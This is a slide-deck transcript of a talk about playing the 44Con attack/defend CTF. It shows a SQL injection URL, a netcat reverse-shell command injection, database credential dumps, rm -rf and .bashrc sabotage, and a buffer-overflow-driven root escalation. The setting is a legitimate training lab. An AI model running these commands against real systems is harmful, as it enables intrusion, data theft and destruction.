SlideShare a Scribd company logo
Playing the 44Con CTF
    for fun & profit
Me
"Three Headed Monkeys"

3hm@0xbadf00d.co.uk

@impdefined
Me
Software developer
  Trying not to make things worse
  Know a lot about bugs

CTF team 0xbadf00d

Contributor to io.smashthestack.org
CTF

Solving technical security challenges to get
points.


"It's kind of like a Computer Science exam on
acid"*



                                       * CSAW CTF "About"page
CTF Types
Challenge-based
  DEF CON quals
  Ghost In The Shellcode
  CSAW CTF

Attack/defend
   DEF CON finals
   44Con CTF (this year)
44CON CTF
44CON CTF - What we got
Virtual Machine image

IP Address

Scope of "attackable" machines
Attack & Defend
Kind of like a pentest
   (maybe, I've never done a pentest)

I have a plan:
  Recon
  Harden
  Write exploits
  Run riot
  Get the girl
  Save the world
Step 1 - Recon
I'd rather be offline than owned

Self-recon

Capture traffic

Quick nmap of non-player servers
Recon - Services
Recon - Services
Recon - Scoring
Regular "scoring rounds"
  Score server stores new keys in services
  Score server checks for previous keys?

Every 30 minutes
  Not great if you're trying to see talks!
pastie
Pastie
Pastie
Pastie
Written in PHP

Pastes stored in a MySQL database
  Recon shows keys are stored as pastes

PHP+MySQL - Can you tell what the vuln is
yet?
Pastie vuln
Pastie vuln




              C
                  Classic SQL injection
Pastie fix
It's not all pwnpwnpwn

Not very sexy

Updated to use prepared statements
Pastie exploit
I want keys!

Had a look at my own DB to figure out the
query
Pastie exploit




  https://ip/view/%'+and+lang+=+'text'+order
              +by+date+desc+--+
Pastie exploit
Pastie exploit - scripted
mailserver
Mailserver
SMTP and POP3 server

Keys are stored in emails

Written in Ruby
  I don't know Ruby
  ~ 500 lines
Mailserver - vulnerability
Mailserver - vulnerability



                           ???

This just runs whatever Ruby code you give it

Time to learn Ruby!
Mailserver - verification




Looking at the logs...
Mailserver - exploitation
I'm sure Ruby is lovely...

... but let's just find some code to copy
Mailserver - exploitation
Mailserver - exploitation
Mailserver - scripted exploitation
auth
Auth
Running on port 23500
Auth
Auth - vulnerability
Source analysis 101
Auth - exploitation
Auth - exploitation
Classic stack buffer overflow

Overwrite return address with value of my
choice

Remote code execution.....

....right?
Auth - exploitation
Welcome to CTF rage
Auth - exploitation
Auth - exploitation
Just put a valid writable address in the buffer
ptr!

Easy if this was a 32bit process.

Our memory space is annoying.
Auth - exploitation
gdb$ info proc map
Mapped address spaces:

        Start Addr           End Addr      Size   Offset   objfile
          0x400000           0x403000    0x3000      0x0   /services/auth/auth
          0x602000           0x603000    0x1000   0x2000   /services/auth/auth
          0x603000           0x604000    0x1000   0x3000   /services/auth/auth
          0x604000           0x625000   0x21000      0x0   [heap]
          ........           ........   .......      ...   ......
    0x7ffffffde000     0x7ffffffff000   0x21000      0x0   [stack]
0xffffffffff600000 0xffffffffff601000    0x1000      0x0   [vsyscall]
Auth - exploitation
gdb$ info proc map
Mapped address spaces:

        Start Addr              End Addr      Size   Offset   objfile
0x0000000000 400000   0x0000000000403000    0x3000      0x0   /services/auth/auth
0x0000000000 602000   0x0000000000603000    0x1000   0x2000   /services/auth/auth
0x0000000000 603000   0x0000000000604000    0x1000   0x3000   /services/auth/auth
0x0000000000 604000   0x0000000000625000   0x21000      0x0   [heap]
          ........              ........   .......      ...   ......
0x00007ffffffde000    0x00007ffffffff000   0x21000      0x0   [stack]
0xffffffffff600000    0xffffffffff601000    0x1000      0x0   [vsyscall] (read-only)
Auth - exploitation
Time's up!

No remote code execution :-(

Very limited DoS
  Crash process
  Restarts automatically
servicemon
Servicemon
Web page

Looks like it monitors the other services

Ruby again
Servicemon - vulnerability




          Command execution of "filelist" parameter
Servicemon - exploitation

 Never mind keys, I want a shell

contestant@ubuntu:~$ nc -l 31337 -e /bin/sh
nc: invalid option -- 'e'
Servicemon - exploitation

 *cracks knuckles*

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i
2>&1|nc 192.168.1.75 31337 >/tmp/f


 http://ip:3000/hash?filelist=notafile||rm%20%
 2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%
 3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%
 20-i%202>%261%7Cnc%20192.168.1.75%
 2031337%20>%2Ftmp%2Ff
Servicemon - exploitation
contestant@ubuntu:~$ nc -lv 31337
Connection from 192.168.1.72 port 31337 [tcp/*]
accepted
$ whoami
contestant
$ pwd
/services/servicemon

 Now we can have some fun!
rampage
Steal all the keys
mysql --user=sinatra --password=44ConCTF servicemon -e "select
status from statuses order by created_at desc limit 1;"

mysql --user=pastie --password=J@cobsClub$ paste -e "select
pastie from pastie order by date desc limit 1;"

OUTPUT=redis-cli -r 1 keys * | tail -n 1
redis-cli -r 1 lrange $OUTPUT 0 1
Leave a calling card

echo 'Look behind you! A three-headed monkey!' >
/services/pastie/.win
Annoy
echo 'export PROMPT_COMMAND="cd"'
>> ~/.bashrc

echo exit >> ~/.bashrc

rm -rf /services
escalation
Escalation
Getting keys is fine

Getting shells is better

Getting root is best
Escalation - the hard way
$ find /etc -writable
/etc/init/mail.conf
/etc/init/auth.conf
Escalation - the hard way
USER    PID TTY   STAT COMMAND
root   8680 ?     Ss   /services/auth/auth
Escalation - the hard way
Next time auth respawns we will get a root shell

Lame DoS to the rescue!

perl -e 'print "auth " . "A"x1100 . "n"' | nc ip 23500

Connection from 192.168.1.73 port 31337 [tcp/*] accepted
# whoami
root
Escalation - the easy way
220 Mail Service ready (33147)
HELO
250 Requested mail action okay, completed
EXPN respond(client, `whoami`)
root
summary
Summary
CTFs are fun!

   http://smashthestack.org
            - start with io

   http://overthewire.org

   http://hackthissite.org
questions

More Related Content

PDF
A CTF Hackers Toolbox
PDF
Building a DSL with GraalVM (VoxxedDays Luxembourg)
PPT
Unix Programming with Perl
PPTX
Format String
PDF
Go a crash course
PPTX
Hacking Go Compiler Internals / GoCon 2014 Autumn
PDF
Allison Kaptur: Bytes in the Machine: Inside the CPython interpreter, PyGotha...
PDF
Byterun, a Python bytecode interpreter - Allison Kaptur at NYCPython
A CTF Hackers Toolbox
Building a DSL with GraalVM (VoxxedDays Luxembourg)
Unix Programming with Perl
Format String
Go a crash course
Hacking Go Compiler Internals / GoCon 2014 Autumn
Allison Kaptur: Bytes in the Machine: Inside the CPython interpreter, PyGotha...
Byterun, a Python bytecode interpreter - Allison Kaptur at NYCPython

What's hot (20)

PDF
Implementing Software Machines in Go and C
PDF
Bytes in the Machine: Inside the CPython interpreter
PDF
Python meetup: coroutines, event loops, and non-blocking I/O
PDF
Implementing Software Machines in C and Go
ODP
Отладка в GDB
PDF
Diving into byte code optimization in python
PDF
Building a DSL with GraalVM (CodeOne)
PDF
Go Concurrency
PDF
Encrypt all transports
PDF
node ffi
PDF
start_printf: dev/ic/com.c comstart()
PDF
Ctf hello,world!
PDF
Rust LDN 24 7 19 Oxidising the Command Line
DOC
Study of aloha protocol using ns2 network java proram
KEY
The Ruby Guide to *nix Plumbing: on the quest for efficiency with Ruby [M|K]RI
PDF
Introduction to Rust
PDF
Golang Channels
PDF
Ownership System in Rust
PDF
NativeBoost
Implementing Software Machines in Go and C
Bytes in the Machine: Inside the CPython interpreter
Python meetup: coroutines, event loops, and non-blocking I/O
Implementing Software Machines in C and Go
Отладка в GDB
Diving into byte code optimization in python
Building a DSL with GraalVM (CodeOne)
Go Concurrency
Encrypt all transports
node ffi
start_printf: dev/ic/com.c comstart()
Ctf hello,world!
Rust LDN 24 7 19 Oxidising the Command Line
Study of aloha protocol using ns2 network java proram
The Ruby Guide to *nix Plumbing: on the quest for efficiency with Ruby [M|K]RI
Introduction to Rust
Golang Channels
Ownership System in Rust
NativeBoost
Ad

Similar to Playing 44CON CTF for fun and profit (20)

PPTX
Playing CTFs for Fun & Profit
PPTX
Attacking Big Data Land
PDF
The Art of Grey-Box Attack
PDF
Filip palian mateuszkocielski. simplest ownage human observed… routers
PDF
Simplest-Ownage-Human-Observed… - Routers
PDF
SOHOpelessly Broken
PPTX
Fun with exploits old and new
PDF
Debian 5 Hardening Tips
PDF
Jackpot! Attacking Arcade Machines
PDF
1000 to 0
PDF
Unix executable buffer overflow
PPTX
Enemy at the gates: vulnerability research in embedded appliances
PDF
Metasploit for Penetration Testing: Beginner Class
PPTX
Security Walls in Linux Environment: Practice, Experience, and Results
PDF
Download full ebook of Ctfctfallinone Firmianay instant download pdf
PDF
LasCon 2014 DevOoops
PDF
Computer Security
PDF
RIoT (Raiding Internet of Things) by Jacob Holcomb
PPT
Security & ethical hacking p2
Playing CTFs for Fun & Profit
Attacking Big Data Land
The Art of Grey-Box Attack
Filip palian mateuszkocielski. simplest ownage human observed… routers
Simplest-Ownage-Human-Observed… - Routers
SOHOpelessly Broken
Fun with exploits old and new
Debian 5 Hardening Tips
Jackpot! Attacking Arcade Machines
1000 to 0
Unix executable buffer overflow
Enemy at the gates: vulnerability research in embedded appliances
Metasploit for Penetration Testing: Beginner Class
Security Walls in Linux Environment: Practice, Experience, and Results
Download full ebook of Ctfctfallinone Firmianay instant download pdf
LasCon 2014 DevOoops
Computer Security
RIoT (Raiding Internet of Things) by Jacob Holcomb
Security & ethical hacking p2
Ad

More from 44CON (20)

ODP
They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...
PPTX
How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...
PPTX
Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...
PDF
JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...
PDF
Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...
PDF
The UK's Code of Practice for Security in Consumer IoT Products and Services ...
PDF
Weak analogies make poor realities – are we sitting on a Security Debt Crisis...
PDF
Pwning the 44CON Nerf Tank
PDF
Security module for php7 – Killing bugclasses and virtual-patching the rest! ...
PDF
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images
PDF
44CON London 2015 - Is there an EFI monster inside your apple?
PPTX
44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...
PPTX
44CON London 2015 - How to drive a malware analyst crazy
PDF
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
PDF
44CON London 2015 - Going AUTH the Rails on a Crazy Train
PDF
44CON London 2015 - Software Defined Networking (SDN) Security
PDF
44CON London 2015 - DDoS mitigation EPIC FAIL collection
PDF
44CON London 2015 - Hunting Asynchronous Vulnerabilities
PDF
44CON London 2015 - Reverse engineering and exploiting font rasterizers: the ...
PDF
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...
How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...
Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...
JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...
Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...
The UK's Code of Practice for Security in Consumer IoT Products and Services ...
Weak analogies make poor realities – are we sitting on a Security Debt Crisis...
Pwning the 44CON Nerf Tank
Security module for php7 – Killing bugclasses and virtual-patching the rest! ...
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images
44CON London 2015 - Is there an EFI monster inside your apple?
44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...
44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
44CON London 2015 - Going AUTH the Rails on a Crazy Train
44CON London 2015 - Software Defined Networking (SDN) Security
44CON London 2015 - DDoS mitigation EPIC FAIL collection
44CON London 2015 - Hunting Asynchronous Vulnerabilities
44CON London 2015 - Reverse engineering and exploiting font rasterizers: the ...
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root

Recently uploaded (20)

PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
PDF
Empathic Computing: Creating Shared Understanding
PDF
KodekX | Application Modernization Development
PDF
Network Security Unit 5.pdf for BCA BBA.
PPTX
Big Data Technologies - Introduction.pptx
PPTX
MYSQL Presentation for SQL database connectivity
PDF
Approach and Philosophy of On baking technology
PDF
Encapsulation_ Review paper, used for researhc scholars
PPTX
A Presentation on Artificial Intelligence
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PPT
Teaching material agriculture food technology
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
Unlocking AI with Model Context Protocol (MCP)
DOCX
The AUB Centre for AI in Media Proposal.docx
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Advanced methodologies resolving dimensionality complications for autism neur...
Shreyas Phanse Resume: Experienced Backend Engineer | Java • Spring Boot • Ka...
Empathic Computing: Creating Shared Understanding
KodekX | Application Modernization Development
Network Security Unit 5.pdf for BCA BBA.
Big Data Technologies - Introduction.pptx
MYSQL Presentation for SQL database connectivity
Approach and Philosophy of On baking technology
Encapsulation_ Review paper, used for researhc scholars
A Presentation on Artificial Intelligence
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Teaching material agriculture food technology
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Unlocking AI with Model Context Protocol (MCP)
The AUB Centre for AI in Media Proposal.docx
Diabetes mellitus diagnosis method based random forest with bat algorithm
“AI and Expert System Decision Support & Business Intelligence Systems”
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf

Playing 44CON CTF for fun and profit